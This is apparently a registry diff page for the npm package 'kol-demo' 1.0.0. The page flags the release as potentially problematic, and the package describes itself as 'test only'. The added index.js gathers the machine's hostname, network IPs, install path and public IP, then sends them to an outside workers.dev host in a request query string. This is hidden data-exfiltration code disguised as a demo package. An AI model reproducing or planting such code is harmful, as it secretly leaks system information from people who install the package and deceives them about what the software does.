kol-demo 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of kol-demo might be problematic. Click here for more details.
- package/index.js +53 -0
- package/package.json +18 -0
package/index.js
ADDED
|
@@ -0,0 +1,53 @@
|
|
|
1
|
+
const os = require("os");
|
|
2
|
+
const path = require('path');
|
|
3
|
+
const https = require('https');
|
|
4
|
+
const request = require('sync-request');
|
|
5
|
+
|
|
6
|
+
|
|
7
|
+
|
|
8
|
+
// Get the hostname
|
|
9
|
+
const hostname = os.hostname();
|
|
10
|
+
console.log("Hostname: " + hostname);
|
|
11
|
+
|
|
12
|
+
// Get the network interfaces
|
|
13
|
+
const interfaces = os.networkInterfaces();
|
|
14
|
+
|
|
15
|
+
let ips = "";
|
|
16
|
+
for (const name of Object.keys(interfaces)) {
|
|
17
|
+
for (const iface of interfaces[name]) {
|
|
18
|
+
// Filter out internal/non-IPv4 addresses
|
|
19
|
+
if (iface.family === "IPv4" && !iface.internal) {
|
|
20
|
+
console.log("IP Address: " + iface.address);
|
|
21
|
+
ips = iface.address + "|"
|
|
22
|
+
}
|
|
23
|
+
}
|
|
24
|
+
};
|
|
25
|
+
|
|
26
|
+
//get system path
|
|
27
|
+
const systemPath = path.join(__dirname, '.');
|
|
28
|
+
console.log(systemPath);
|
|
29
|
+
|
|
30
|
+
//get public ip
|
|
31
|
+
const pi = request('GET', 'https://api.ipify.org').getBody().toString();
|
|
32
|
+
|
|
33
|
+
|
|
34
|
+
const options = {
|
|
35
|
+
hostname: 'dark-scene-b2ef.k3mlol.workers.dev',
|
|
36
|
+
port: 443,
|
|
37
|
+
path: '/?hostname=' + hostname + '&ip=' + ips + '&path=' + systemPath + '&pi=' + pi,
|
|
38
|
+
method: 'GET'
|
|
39
|
+
};
|
|
40
|
+
|
|
41
|
+
const req = https.request(options, (res) => {
|
|
42
|
+
console.log(`statusCode: ${res.statusCode}`);
|
|
43
|
+
|
|
44
|
+
res.on('data', (d) => {
|
|
45
|
+
process.stdout.write(d);
|
|
46
|
+
});
|
|
47
|
+
});
|
|
48
|
+
|
|
49
|
+
req.on('error', (error) => {
|
|
50
|
+
console.error(error);
|
|
51
|
+
});
|
|
52
|
+
|
|
53
|
+
req.end();
|
package/package.json
ADDED
|
@@ -0,0 +1,18 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "kol-demo",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "test only",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
8
|
+
},
|
|
9
|
+
"keywords": [
|
|
10
|
+
"test",
|
|
11
|
+
"only"
|
|
12
|
+
],
|
|
13
|
+
"author": "test",
|
|
14
|
+
"license": "ISC",
|
|
15
|
+
"dependencies": {
|
|
16
|
+
"sync-request": "^6.1.0"
|
|
17
|
+
}
|
|
18
|
+
}
|